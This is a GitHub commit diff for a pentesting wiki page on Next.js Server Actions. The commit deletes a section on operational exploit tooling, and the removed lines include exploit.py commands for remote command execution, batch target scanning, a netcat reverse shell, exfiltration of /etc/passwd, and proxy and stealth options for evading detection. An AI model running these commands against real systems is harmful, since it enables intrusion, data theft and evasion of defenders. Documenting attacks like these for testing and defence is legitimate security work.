Skip to content

Commit d6d1367

Browse files
authored
Update nextjs.md
1 parent 2a6ae2d commit d6d1367

File tree

1 file changed

+0
-13
lines changed
  • src/network-services-pentesting/pentesting-web

1 file changed

+0
-13
lines changed

src/network-services-pentesting/pentesting-web/nextjs.md

Lines changed: 0 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1362,19 +1362,6 @@ Next.js App Router deployments that expose Server Actions on `react-server-dom-w
13621362
}
13631363
```
13641364

1365-
The Python proof-of-concept converts this JSON into a full Flight payload and posts it to the Server Action endpoint. Once arbitrary JS runs, attackers can drop to the OS, stage web shells, or pivot laterally using the Node process credentials.
1366-
1367-
#### Operational tooling
1368-
1369-
- **Single target check / exploitation:**
1370-
- `python3 exploit.py http://target:3000 --check` sends non-destructive payloads to confirm the vulnerable resolver behavior.
1371-
- `python3 exploit.py http://target:3000 -c "id"` executes blind shell commands through the Function gadget.
1372-
- **Batch scanning:** `python3 exploit.py -f targets.txt --check --stealth crawler --delay 2 -o vulnerable.txt` iterates through a newline-separated target list (lines starting with `#` are ignored) and records confirmed hits.
1373-
- **Post-exploitation primitives:**
1374-
- Reverse shell: `python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444` (pair with `nc -lvnp 4444`).
1375-
- Data exfiltration over raw sockets: `python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444`.
1376-
- **OPSEC features:** `--proxy socks5://127.0.0.1:1080`, `--stealth {browser,crawler,security}`, `--delay <seconds>` and `--variants` randomize headers / payload encodings to evade noisy detections.
1377-
13781365
## References
13791366

13801367
- [Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping](https://www.adversis.io/blogs/pentesting-next-js-server-actions)

0 commit comments

Comments
 (0)